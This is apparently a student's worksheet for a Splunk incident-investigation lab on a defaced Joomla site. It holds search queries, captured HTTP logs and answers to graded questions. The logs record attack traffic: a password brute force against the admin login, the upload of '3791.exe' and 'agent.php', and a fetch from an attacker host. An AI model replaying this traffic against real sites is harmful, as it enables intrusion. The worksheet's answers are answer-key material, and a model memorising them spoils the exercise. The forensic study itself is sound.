

13.2 Getting your bearings

Sprint 13 Incident Investigation

← Use the **Document tabs** to locate the notes for each task in this investigation.

13.2.1 Device

13.2.1 Finding the attacking device

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

40.80.148.42

index=client1 "user_agent\\"

```
8/10/16 { [-]
9:52:27.    accept: */*
929 PM      accept_language: en-US

            ack_packets_in: 11
            ack_packets_out: 3
            bytes: 7891
            bytes_in: 658
            bytes_out: 7233
            c_ip: 40.80.148.42
            cached: 0
            capture_hostname: demo-01
            client_rtt: 87280
            client_rtt_packets: 5
            client_rtt_sum: 436404
            connection_type: Keep-Alive
            cookie:
7598a3465c906161e060ac551a9e0276=9qfk2654t4rmhltilkfhe7ua23

            cs_cache_control: no-cache
            cs_content_length: 79
            cs_content_type: application/x-www-form-urlencoded;
charset=UTF-8

            cs_version: [ [+]
        ]

        data_center_time: 1066332
        data_packets_in: 2
        data_packets_out: 6
        dest_content: {
            "xtype": "tabpanel",
            "stateId": "upload_tabpanel",
            "activeTab": "uploadform",
            "dialogtitle": "Upload file(s)",
            "stateful": "true",
```

```

        "stateEvents": ["tabchange"],
        "getState": function() { return {

activeTab:this.items.indexOf(this.getActiveTab())
        };

    },
    "listeners": {    "resize": {
                        "fn": function(panel) {

                                panel.items.each(
function(item) { item.setHeight(500);return true } );

                                }
                        }
    },
    "items": [

        {
            "xtype": "swfuploadpanel",
            "title": "flashupload",
            "height": "300",
            "id": "swfuploader",
            viewConfig: {
                forceFit: true
            },
            "listeners": {    "allUploadsComplete": {
                                "fn":
function(panel) {

datastore.reload();

panel.destroy();

Ext.getCmp("dialog").destroy();

statusBarMessage('Upload successful!', false );

                                }
                        }
        },
        // Uploader Params
        "upload_url":
"http://imrealllynotbatman.com/joomla/administrator/components
/com_extplorer/uploadhandler.php",

```

```

        "post_params": {
            "7598a3465c906161e060ac551a9e0276":
"9qfk2654t4rmhltilkfhe7ua23",
            "PHPSESSID":
"9qfk2654t4rmhltilkfhe7ua23",
            "session_name":
"7598a3465c906161e060ac551a9e0276",
            "user_agent": "Mozilla/5.0 (Windows NT
6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
            "option": "com_extplorer",
            "action": "upload",
            "dir": datastore.directory,
            "requestType": "xmlhttprequest",
            "confirm": "true"
        },

```

```

        "flash_url":
"http://imreallynotbatman.com/joomla/administrator/components
/com_extplorer/scripts/extjs3-ext/ux.swfupload/swfupload.swf"
,

```

```

            "prevent_swf_caching": "false",
            "file_size_limit": "2097152B",
            // Custom Params
            "single_file_select": false, // Set to true
if you only want to select one file from the FileDialog.
            "confirm_delete": false, // This will prompt
for removing files from queue.
            "remove_completed": false // Remove file
from grid after uploaded.
        },

```

```

        {
            "xtype": "form",
            "autoScroll": "true",
            "autoHeight": "true",
            "id": "uploadform",
            "fileUpload": true,
            "labelWidth": 125,
            "url": "index.php",
            "title": "standardupload",
            "tooltip": "Maximum File Size = <strong>2
MB</strong><br \/>Maximum Upload Limit = <strong>8
MB</strong><br \/>",
            "frame": true,
            "items": [
                {

```

```

        "xtype": "displayfield",
        "value": "Maximum File Size = <strong>2
MB</strong><br \/>Maximum Upload Limit = <strong>8
MB</strong><br \/>"
    },
    {
        "xtype": "fileuploadfield",
        "fieldLabel": "File 1",
        "id": "userfile0",
        "name": "userfile[0]",
        "width": 275,
        "buttonOnly": false
    }, {
        "xtype": "fileuploadfield",
        "fieldLabel": "File 2",
        "id": "userfile1",
        "name": "userfile[1]",
        "width": 275,
        "buttonOnly": false
    }, {
        "xtype": "fileuploadfield",
        "fieldLabel": "File 3",
        "id": "userfile2",
        "name": "userfile[2]",
        "width": 275,
        "buttonOnly": false
    }, {
        "xtype": "fileuploadfield",
        "fieldLabel": "File 4",
        "id": "userfile3",
        "name": "userfile[3]",
        "width": 275,
        "buttonOnly": false
    }, {
        "xtype": "fileuploadfield",
        "fieldLabel": "File 5",
        "id": "userfile4",
        "name": "userfile[4]",
        "width": 275,
        "buttonOnly": false
    }, {
        "xtype": "fileuploadfield",
        "fieldLabel": "File 6",
        "id": "userfile5",
        "name": "userfile[5]",
        "width": 275,

```



```

        "buttonOnly": false
    }, {
        "xtype": "fileuploadfield",
        "fieldLabel": "File 7",
        "id": "userfile6",
        "name": "userfile[6]",
        "width": 275,
        "buttonOnly": false
    }, {
        "xtype": "checkbox",
        "fieldLabel": "Overwrite existing file(s)?",
        "name": "overwrite_files",
        "checked": true
    }
    ],
    "buttons": [{
        "text": "Save",
        "handler": function() {
            statusBarMessage( 'Processing Upload,
please wait...', true );
            form =
Ext.getCmp("uploadform").getForm();
            form.submit({
                //reset: true,
                reset: false,
                success: function(form, action) {
                    datastore.reload();
                    statusBarMessage(
action.result.message, false, true );

Ext.getCmp("dialog").destroy();
                },
                failure: function(form, action) {
                    if( !action.result )

return;

Ext.MessageBox.alert('Error(s)', action.result.error);
                    statusBarMessage(
action.result.error, false, false );
                },
                "scope": form,
                // add some vars to the request,
similar to hidden fields
                "params": {
                    "option": "com_extplorer",
                    "action": "upload",
                    "dir": datastore.directory,
                    "requestType":

```



```

        "width":275
    }, {
        "xtype": "textfield",
        "fieldLabel": "URL of the File",
        "name": "userfile[5]",
        "width":275
    }, {
        "xtype": "textfield",
        "fieldLabel": "URL of the File",
        "name": "userfile[6]",
        "width":275
    },
        {
            "xtype":
"checkbox",
"checkboxLabel": "Overwrite existing
file(s)?",
"name": "overwrite_files",
"checked": true
        }
    ],
    "buttons": [{
        "text": "Save",
        "handler": function() {
            statusBarMessage( 'Processing
Server-to-Server Transfer, please wait...', true );
            transfer =
Ext.getCmp("transferform").getForm();
            transfer.submit({
                //reset: true,
                reset: false,
                success: function(form, action) {
                    datastore.reload();
                    statusBarMessage(
action.result.message, false, true );

Ext.getCmp("dialog").destroy();
                },
                failure: function(form, action) {
                    if( !action.result )

return;

Ext.MessageBox.alert('Error(s)', action.result.error);
                    statusBarMessage(
action.result.error, false, false );
                },
                scope: transfer,

```

```

// add some vars to the request,
similar to hidden fields
    params: {
        "option": "com_extplorer",
        "action": "transfer",
        "dir": datastore.directory,
        "confirm": 'true'
    }
    });
}
}, {
    "text": "Cancel",
    "handler": function() {
Ext.getCmp("dialog").destroy(); }
    ]
}
}

```

```

dest_headers: HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.5.38
Date: Wed, 10 Aug 2016 21:52:27 GMT
Content-Length: 7077

```

```

dest_ip: 192.168.250.70
dest_mac: 00:0C:29:C4:02:7E
dest_port: 80
duplicate_packets_in: 1
duplicate_packets_out: 6
endtime: 2016-08-10T21:52:27.929184Z
form_data:
option=com_extplorer&dir=&item=/joomla&selitems[]=/joomla&act
ion=upload
http_comment: HTTP/1.1 200 OK
http_content_length: 7077
http_content_type: text/html

```

http_method: POST

http_referrer:
http://imreallynotbatman.com/joomla/administrator/index.php?option=com_extplorer&tmpl=component

http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

missing_packets_in: 0

missing_packets_out: 0

network_interface: eth1

packets_in: 13

packets_out: 9

reply_time: 1065372

request: POST /joomla/administrator/index.php HTTP/1.1

request_ack_time: 34684

request_time: 273585

response_ack_time: 95485

response_time: 960

sc_date: Wed, 10 Aug 2016 21:52:27 GMT

server: Microsoft-IIS/8.5

server_rtt: 30801

server_rtt_packets: 2

server_rtt_sum: 61602

site: imreallynotbatman.com

src_content:
option=com_extplorer&dir=&item=%2Fjoomla&selitems%5B%5D=%2Fjoomla&action=upload

src_headers: POST /joomla/administrator/index.php HTTP/1.1
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:
http://imreallynotbatman.com/joomla/administrator/index.php?option=com_extplorer&tmpl=component

Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host: imrealllynotbatman.com
Content-Length: 79
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
7598a3465c906161e060ac551a9e0276=9qfk2654t4rmhltilkfhe7ua23

src_ip: 40.80.148.42
src_mac: 08:5B:0E:93:92:AF
src_port: 49490
status: 200
time_taken: 1427197
timestamp: 2016-08-10T21:52:26.589267Z
transport: tcp
uri: /joomla/administrator/index.php
uri_path: /joomla/administrator/index.php

}

13.2.2 Tool

13.2.2 Determining the tool

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

index=client1 imreallynotbatman.com sourcetype="stream:http" http_method=POST

POST /joomla/index.php/component/search/ HTTP/1.1 Content-Length: 121 Content-Type: application/x-www-form-urlencoded Referer: http://imreallynotbatman.com:80/ Cookie: ae72c62a4936b238523950a4f26f67d0=v7ikb3m59romokqmbiet3vphv3 Host: imreallynotbatman.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Acunetix-Product: WVS/10.0 (Acunetix Web Vulnerability Scanner - Free Edition) Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm Accept: */*

13.2.3 Exploited CMS

13.2.3 Identifying the exploited CMS

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
index=client1 imreallynotbatman.com sourcetype="stream:http" src_ip="40.80.148.42"  
dest_ip="192.168.250.70" http_method="GET" status="200" | top limit=20 uri | top limit=20 dest_headers
```

dest_headers: HTTP/1.1 303 See other

Content-Type: text/html; charset=UTF-8

Location:

[http://imreallynotbatman.com/joomla/index.php/component/search/?searchword=&ordering=alpha&searchphrase=all&areas\[0\]=](http://imreallynotbatman.com/joomla/index.php/component/search/?searchword=&ordering=alpha&searchphrase=all&areas[0]=)

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.5.38

Date: Wed, 10 Aug 2016 22:22:27 GMT

Content-Length: 252

13.2.4 Defacement image's filename

13.2.4 Establishing the defacement image's filename

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
index=client1 sourcetype=suricata src_ip="192.168.250.70" http.http_content_type="image/*"  
"http.url"="/poisonivy-is-coming-for-you-batman.jpeg" vendor=Suricata
```

```
dest_ip: 23.22.63.114  
dest_port: 1337  
event_type: http  
flow_id: 3326219642  
http: { [+]  
}  
in_iface: eth1  
proto: TCP  
src_ip: 192.168.250.70  
src_port: 51573  
timestamp: 2016-08-10T16:19:11.351981-0600  
tx_id: 0
```

```
url = /poisonivy-is-coming-for-you-batman.jpeg
```

13.2.5 FQDN

13.2.5 Associating the malicious FQDN

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

index=client1 sourcetype=suricata OR sourcetype="stream:http" "poisonivy-is-coming-for-you-batman.jpeg"
"http.hostname"="prankglassinebracket.jumpingcrab.com

8/10/16

{ [-]

10:13:46.915 PM

```
ack_packets_in: 2
ack_packets_out: 5
bytes: 106
bytes_in: 106
bytes_out: 0
c_ip: 192.168.250.70
canceled: 1
capture_hostname: demo-01
client_rtt: 1
client_rtt_packets: 1
client_rtt_sum: 1
cs_version: 1.0
data_center_time: 0
data_packets_in: 2
data_packets_out: 0
dest_ip: 23.22.63.114
dest_mac: 08:5B:0E:93:92:AF
dest_port: 1337
duplicate_packets_in: 2
duplicate_packets_out: 0
endtime: 2016-08-10T22:13:46.915172Z
http_method: GET
missing_packets_in: 0
missing_packets_out: 0
network_interface: eth1
packets_in: 6
packets_out: 5
reply_time: 0
```

```
    request: GET
    /poisonivy-is-coming-for-you-batman.jpeg HTTP/1.0
    request_ack_time: 3246
    request_time: 61714
    response_ack_time: 0
    response_time: 0
    server_rtt: 32357
    server_rtt_packets: 2
    server_rtt_sum: 64714
    site: prankglassinebracket.jumpingcrab.com:1337
    src_headers: GET
    /poisonivy-is-coming-for-you-batman.jpeg HTTP/1.0
    Host: prankglassinebracket.jumpingcrab.com:1337

    src_ip: 192.168.250.70
    src_mac: 00:0C:29:C4:02:7E
    src_port: 63139
    time_taken: 61715
    timestamp: 2016-08-10T22:13:46.853458Z
    transport: tcp
    uri: /poisonivy-is-coming-for-you-batman.jpeg
    uri_path: /poisonivy-is-coming-for-you-batman.jpeg
}
```

[Show as raw text](#)

13.2.6 Pre-staging IP

13.2.6 Discovering the pre-staging IP address

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
index=client1 poisonivy-is-coming-for-you-batman.jpeg sourcetype="stream:http"
```

```
ack_packets_in: 2
  ack_packets_out: 5
  bytes: 106
  bytes_in: 106
  bytes_out: 0
  c_ip: 192.168.250.70
  canceled: 1
  capture_hostname: demo-01
  client_rtt: 1
  client_rtt_packets: 1
  client_rtt_sum: 1
  cs_version: 1.0
  data_center_time: 0
  data_packets_in: 2
  data_packets_out: 0
  dest_ip: 23.22.63.114
  dest_mac: 08:5B:0E:93:92:AF
  dest_port: 1337
  duplicate_packets_in: 2
  duplicate_packets_out: 0
  endtime: 2016-08-10T22:13:46.915172Z
  http_method: GET
  missing_packets_in: 0
  missing_packets_out: 0
  network_interface: eth1
  packets_in: 6
  packets_out: 5
  reply_time: 0
  request: GET /poisonivy-is-coming-for-you-batman.jpeg HTTP/1.0
  request_ack_time: 3246
  request_time: 61714
  response_ack_time: 0
  response_time: 0
  server_rtt: 32357
  server_rtt_packets: 2
  server_rtt_sum: 64714
  site: prankglassinebracket.jumpingcrab.com:1337
  src_headers: GET /poisonivy-is-coming-for-you-batman.jpeg HTTP/1.0
Host: prankglassinebracket.jumpingcrab.com:1337
```

src_ip: 192.168.250.70
src_mac: 00:0C:29:C4:02:7E
src_port: 63139
time_taken: 61715
timestamp: 2016-08-10T22:13:46.853458Z
transport: tcp
uri: /poisonivy-is-coming-for-you-batman.jpeg
uri_path: /poisonivy-is-coming-for-you-batman.jpeg

13.2.7 APT email

13.2.7 Using OSINT to confirm the APT group's email address

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

`lillian@po1s0n1vy.com`

13.2.8 Brute-force IP

13.2.8 Assessing the brute-forcing IP address

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

23.22.63.114

13.2.9 Malware filename

13.2.9 Figuring out the malicious executable's filename

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
{"endtime":"2016-08-10T21:52:47.035555Z","timestamp":"2016-08-10T21:52:45.437445Z","accept":"text/html, application/xhtml+xml, */*","accept_language":"en-US","ack_packets_in":1,"ack_packets_out":55,"bytes":77896,"bytes_in":77648,"bytes_out":248,"c_ip":"40.80.148.42","cached":0,"capture_hostname":"demo-01","client_rtt":0,"client_rtt_packets":0,"client_rtt_sum":0,"connection_type":"Keep-Alive","content_disposition":["form-data; name=\"userfile[0]\"; filename=\"3791.exe\"","form-data; name=\"userfile[1]\"; filename=\"agent.php\"","form-data; name=\"userfile[2]\"; filename=\"\"","form-data; name=\"userfile[3]\"; filename=\"\"","form-data; name=\"userfile[4]\"; filename=\"\"","form-data; name=\"userfile[5]\"; filename=\"\"","form-data; name=\"userfile[6]\"; filename=\"\"","form-data; name=\"overwrite_files\"","form-data; name=\"option\"","form-data; name=\"action\"","form-data; name=\"dir\"","form-data; name=\"requestType\"","form-data; name=\"confirm\""],"cookie":"7598a3465c906161e060ac551a9e0276=9qfk2654t4rmhltilkfhe7ua23","cs_cache_control":"no-cache","cs_content_length":77045,"cs_content_type":"multipart/form-data; boundary=-----7e0e42c20990","cs_version":["1.1","1.1"],"data_center_time":1049868,"data_packets_in":55,"data_packets_out":1,"dest_content":{"'action':'upload','message':'Upload successful','error':'Upload successful','success':true},"dest_headers":"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: PHP/5.5.38\r\nDate: Wed, 10 Aug 2016 21:52:47 GMT\r\nContent-Length: 94\r\n\r\n","dest_ip":"192.168.250.70","dest_mac":"00:0C:29:C4:02:7E","dest_port":80,"duplicate_packets_in":52,"duplicate_packets_out":1,"http_content":"HTTP/1.1 200 OK","http_content_length":94,"http_content_type":"text/html","http_method":"POST","http_referrer":"http://imreallynotbatman.com/joomla/administrator/index.php?option=com_extplorer&tmpl=component","http_user_agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko","missing_packets_in":0,"missing_packets_out":0,"network_interface":"eth1","packets_in":56,"packets_out":56,"part_filename":["3791.exe","agent.php"],"reply_time":1049868,"request":"POST /joomla/administrator/index.php HTTP/1.1","request_ack_time":10,"request_time":548242,"response_ack_time":
```

```
81928,"response_time":0,"sc_date":"Wed, 10 Aug 2016 21:52:47  
GMT","server":"Microsoft-IIS/8.5","server_rtt":5934,"server_rtt_packets":2  
6,"server_rtt_sum":154301,"site":"imreallynotbatman.com","src_content":"--  
-----7e0e42c20990\r\nContent-Disposition: form-data;  
name=\"userfile[0]\"; filename=\"3791.exe\"\\r\nContent-Type:  
application/octet-stream
```

13.2.10 MD5 hash

13.2.10 Locating the MD5 hash of that executable

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

AAE3F5A29935E6ABCC2C2754D12A9AF0

13.2.11 SHA256 hash

13.2.11 Using OSINT to find the SHA256 of an APT group's custom malware

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

EC78C938D8453739CA2A370B9C275971EC46CAF6E479DE2B2D04E97CC47FA45D

13.2.12 Custom hex

13.2.12 Figuring out the malware's custom hex

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

Nice work! The answer to question 17 is "nerf war"

13.2.13 WHOIS info

13.2.13 Using OSINT to discover interesting WHOIS information

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

lasciate ogni speranza, voi ch'intrate

13.3 Analyzing the brute force attack

13.3.1 Passwords used

13.3.1 Identifying passwords used

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

2016-08-10 21:45:21.226

12345678

13.3.2 6-char passwords

13.3.2 Figuring out 6-character passwords

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
ack_packets_in: 4
  ack_packets_out: 4
  bytes: 854
  bytes_in: 405
  bytes_out: 449
  c_ip: 23.22.63.114
  cached: 0
  capture_hostname: demo-01
  client_rtt: 101440
  client_rtt_packets: 1
  client_rtt_sum: 101440
  connection_type: close
  cookie: 7598a3465c906161e060ac551a9e0276=gnnseem4iv1i8o41cqbe7q7id5
  cs_content_length: 111
  cs_content_type: application/x-www-form-urlencoded
  cs_version: [ [+]
]
  data_center_time: 11978022
  data_packets_in: 1
  data_packets_out: 1
  dest_content: <head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a
HREF="http://imrealllynotbatman.com/joomla/administrator/index.php">here</a
></body>
  dest_headers: HTTP/1.1 303 See other
Content-Type: text/html; charset=UTF-8
Location: http://imrealllynotbatman.com/joomla/administrator/index.php
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.5.38
Date: Wed, 10 Aug 2016 21:45:30 GMT
Connection: close
Content-Length: 182

dest_ip: 192.168.250.70
dest_mac: 00:0C:29:C4:02:7E
dest_port: 80
duplicate_packets_in: 1
duplicate_packets_out: 1
endtime: 2016-08-10T21:45:30.867318Z
```



```
form_data:
username=admin&task=login&return=aW5kZXgucGhw&option=com_login&passwd=yellow&e445198b23c30d02dc9b25bb13c3e241=1
http_comment: HTTP/1.1 303 See other
http_content_length: 182
http_content_type: text/html; charset=UTF-8
http_method: POST
http_user_agent: Python-urllib/2.7
location: http://imrealllynotbatman.com/joomla/administrator/index.php
missing_packets_in: 0
missing_packets_out: 0
network_interface: eth1
packets_in: 7
packets_out: 5
reply_time: 11978022
request: POST /joomla/administrator/index.php HTTP/1.1
request_ack_time: 58480
request_time: 0
response_ack_time: 66449
response_time: 0
sc_date: Wed, 10 Aug 2016 21:45:30 GMT
server: Microsoft-IIS/8.5
server_rtt: 58480
server_rtt_packets: 1
server_rtt_sum: 58480
site: imrealllynotbatman.com
src_content:
username=admin&task=login&return=aW5kZXgucGhw&option=com_login&passwd=yellow&e445198b23c30d02dc9b25bb13c3e241=1
src_headers: POST /joomla/administrator/index.php HTTP/1.1
Accept-Encoding: identity
Content-Length: 111
Host: imrealllynotbatman.com
User-Agent: Python-urllib/2.7
Connection: close
Cookie: 7598a3465c906161e060ac551a9e0276=gnnseem4ivli8o41cqbe7q7id5
Content-Type: application/x-www-form-urlencoded

src_ip: 23.22.63.114
src_mac: 08:5B:0E:93:92:AF
src_port: 46264
status: 303
time_taken: 12079462
timestamp: 2016-08-10T21:45:18.889296Z
transport: tcp
uri: /joomla/administrator/index.php
```

```
    uri_path: /joomla/administrator/index.php  
}
```

Show as raw text

```
    userpassword = yellow
```

13.3.3 Admin password

13.3.3 Establishing the correct admin password

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
8/10/  { [-]
16      accept: text/html, application/xhtml+xml, */*
9:48:0  accept_language: en-US
5.858   ack_packets_in: 3
PM      ack_packets_out: 4
        bytes: 1061
        bytes_in: 631
        bytes_out: 430
        c_ip: 40.80.148.42
        cached: 0
        capture_hostname: demo-01
        client_rtt: 82195
        client_rtt_packets: 1
        client_rtt_sum: 82195
        connection_type: Keep-Alive
        cookie:
7598a3465c906161e060ac551a9e0276=9qfk2654t4rmhltilkfhe7ua23
        cs_cache_control: no-cache
        cs_content_length: 111
        cs_content_type: application/x-www-form-urlencoded
        cs_version: [ [+]
    ]
        data_center_time: 1672760
        data_packets_in: 1
        data_packets_out: 1
        dest_content: <head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a
HREF="http://imreallynotbatman.com/joomla/administrator/index.p
hp">here</a></body>
        dest_headers: HTTP/1.1 303 See other
Content-Type: text/html; charset=UTF-8
Location:
```

http://imreallynotbatman.com/joomla/administrator/index.php
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.5.38
Date: Wed, 10 Aug 2016 21:48:05 GMT
Content-Length: 182

dest_ip: 192.168.250.70
dest_mac: 00:0C:29:C4:02:7E
dest_port: 80
duplicate_packets_in: 1
duplicate_packets_out: 1
endtime: 2016-08-10T21:48:05.858372Z
form_data:
username=admin&passwd=batman&option=com_login&task=login&return=aW5kZXgucGhw&e5ec827a3f67ce0efc546d81f7356acc=1
http_comment: HTTP/1.1 303 See other
http_content_length: 182
http_content_type: text/html; charset=UTF-8
http_method: POST
http_referrer:
http://imreallynotbatman.com/joomla/administrator/
http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
location:
http://imreallynotbatman.com/joomla/administrator/index.php
missing_packets_in: 0
missing_packets_out: 0
network_interface: eth1
packets_in: 6
packets_out: 5
reply_time: 1672760
request: POST /joomla/administrator/index.php HTTP/1.1

request_ack_time: 51724
request_time: 0
response_ack_time: 44854
response_time: 0
sc_date: Wed, 10 Aug 2016 21:48:05 GMT
server: Microsoft-IIS/8.5
server_rtt: 51724
server_rtt_packets: 1
server_rtt_sum: 51724
site: imrealllynotbatman.com
src_content:
username=admin&passwd=batman&option=com_login&task=login&return
=aW5kZXgucGhw&e5ec827a3f67ce0efc546d81f7356acc=1
src_headers: POST /joomla/administrator/index.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://imrealllynotbatman.com/joomla/administrator/
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: imrealllynotbatman.com
Content-Length: 111
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
7598a3465c906161e060ac551a9e0276=9qfk2654t4rmhltilkfhe7ua23
src_ip: 40.80.148.42
src_mac: 08:5B:0E:93:92:AF
src_port: 49459
status: 303
time_taken: 1754955
timestamp: 2016-08-10T21:48:04.185612Z

```
  transport: tcp
  uri: /joomla/administrator/index.php
  uri_path: /joomla/administrator/index.php
}
```

[Show as raw text](#)

13.3.4 Average password length

13.3.4 Determining the average password length

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

13.3.5 Seconds between events

13.3.5 Calculating seconds elapsed between two events

Instructions for completing this task are located [here](#). Use this worksheet to keep notes as you complete it.

```
{
  "endtime": "2016-08-10T21:46:33.689288Z",
  "timestamp": "2016-08-10T21:46:25.861614Z",
  "ack_packets_in": 4,
  "ack_packets_out": 4,
  "bytes": 854,
  "bytes_in": 405,
  "bytes_out": 449,
  "c_ip": "23.22.63.114",
  "cached": 0,
  "capture_hostname": "demo-01",
  "client_rtt": 115221,
  "client_rtt_packets": 1,
  "client_rtt_sum": 115221,
  "connection_type": "close",
  "cookie": "7598a3465c906161e060ac551a9e0276=2ekei8hdifl20molu8rni80ji1",
  "cs_content_length": 111,
  "cs_content_type": "application/x-www-form-urlencoded",
  "cs_version": ["1.1", "1.1"],
  "data_center_time": 7827674,
  "data_packets_in": 1,
  "data_packets_out": 1,
  "dest_content": "<head><title>Document Moved</title></head>\n<body><h1>Object Moved</h1>This document may be found <a HREF=\"http://imreallynotbatman.com/joomla/administrator/index.php\">here</a></body>",
  "dest_headers": "HTTP/1.1 303 See other\r\nContent-Type: text/html; charset=UTF-8\r\nLocation: http://imreallynotbatman.com/joomla/administrator/index.php\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: PHP/5.5.38\r\nDate: Wed, 10 Aug 2016 21:46:32 GMT\r\nConnection: close\r\nContent-Length: 182\r\n\r\n",
  "dest_ip": "192.168.250.70",
  "dest_mac": "00:0C:29:C4:02:7E",
  "dest_port": 80,
  "duplicate_packets_in": 1,
  "duplicate_packets_out": 1,
  "form_data": "username=admin&task=login&return=aW5kZXgucGhw&option=com_login&passwd=batman&27e302b7a924bea1911b1e8c5fe71273=1",
  "http_comment": "HTTP/1.1 303 See other",
  "http_content_length": 182,
  "http_content_type": "text/html; charset=UTF-8",
  "http_method": "POST",
  "http_user_agent": "Python-urllib/2.7",
  "location": "http://imreallynotbatman.com/joomla/administrator/index.php",
  "missing_packets_in": 0,
  "missing_packets_out": 0,
  "network_interface": "eth1",
  "packets_in": 7,
  "packets_out": 5,
  "reply_time": 7827674,
  "request": "POST /joomla/administrator/index.php HTTP/1.1",
  "request_ack_time": 130663,
  "request_time": 0,
  "response_ack_time": 6698,
  "response_time": 0,
  "sc_date": "Wed, 10 Aug 2016 21:46:32 GMT",
  "server": "Microsoft-IIS/8.5",
  "server_rtt": 130663,
  "server_rtt_packets": 1,
  "server_rtt_sum": 130663,
  "site": "imreallynotbatman.com",
  "src_content": "username=admin&task=login&return=aW5kZXgucGhw&option=com_login&passwd=batman&27e302b7a924bea1911b1e8c5fe71273=1",
  "src_headers": "POST /joomla/administrator/index.php HTTP/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 111\r\nHost: imreallynotbatman.com\r\nUser-Agent: Python-urllib/2.7\r\nConnection: close\r\nCookie: 7598a3465c906161e060ac551a9e0276=2ekei8hdifl20molu8rni80ji1\r\nContent-Type: "
```

```
application/x-www-form-urlencoded\r\n\r\n", "src_ip": "23.22.63.114", "src_mac": "08:5B:0E:93:92:AF", "src_port": 47044, "status": 303, "time_taken": 7942895, "transport": "tcp", "uri": "/joomla/administrator/index.php", "uri_path": "/joomla/administrator/index.php"}
{"endtime": "2016-08-10T21:48:05.858372Z", "timestamp": "2016-08-10T21:48:04.185612Z", "accept": "text/html, application/xhtml+xml, */*", "accept_language": "en-US", "ack_packets_in": 3, "ack_packets_out": 4, "bytes": 1061, "bytes_in": 631, "bytes_out": 430, "c_ip": "40.80.148.42", "cached": 0, "capture_hostname": "demo-01", "client_rtt": 82195, "client_rtt_packets": 1, "client_rtt_sum": 82195, "connection_type": "Keep-Alive", "cookie": "7598a3465c906161e060ac551a9e0276=9qfk2654t4rmhltikfhe7ua23", "cs_cache_control": "no-cache", "cs_content_length": 111, "cs_content_type": "application/x-www-form-urlencoded", "cs_version": ["1.1", "1.1"], "data_center_time": 1672760, "data_packets_in": 1, "data_packets_out": 1, "dest_content": "<head><title>Document Moved</title></head>\n<body><h1>Object Moved</h1>This document may be found <a HREF=\"http://imreallynotbatman.com/joomla/administrator/index.php\">here</a></body>", "dest_headers": "HTTP/1.1 303 See other\r\nContent-Type: text/html; charset=UTF-8\r\nLocation: http://imreallynotbatman.com/joomla/administrator/index.php\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: PHP/5.5.38\r\nDate: Wed, 10 Aug 2016 21:48:05 GMT\r\nContent-Length: 182\r\n\r\n", "dest_ip": "192.168.250.70", "dest_mac": "00:0C:29:C4:02:7E", "dest_port": 80, "duplicate_packets_in": 1, "duplicate_packets_out": 1, "form_data": "username=admin&passwd=batman&option=com_login&task=login&return=aW5kZXGucGhw&e5ec827a3f67ce0efc546d81f7356acc=1", "http_comment": "HTTP/1.1 303 See other", "http_content_length": 182, "http_content_type": "text/html; charset=UTF-8", "http_method": "POST", "http_referrer": "http://imreallynotbatman.com/joomla/administrator/", "http_user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "location": "http://imreallynotbatman.com/joomla/administrator/index.php", "missing_packets_in": 0, "missing_packets_out": 0, "network_interface": "eth1", "packets_in": 6, "packets_out": 5, "reply_time": 1672760, "request": "POST /joomla/administrator/index.php HTTP/1.1", "request_ack_time": 51724, "request_time": 0, "response_ack_time": 44854, "response_time": 0, "sc_date": "Wed, 10 Aug 2016 21:48:05 GMT", "server": "Microsoft-IIS/8.5", "server_rtt": 51724, "server_rtt_packets": 1, "server_rtt_sum": 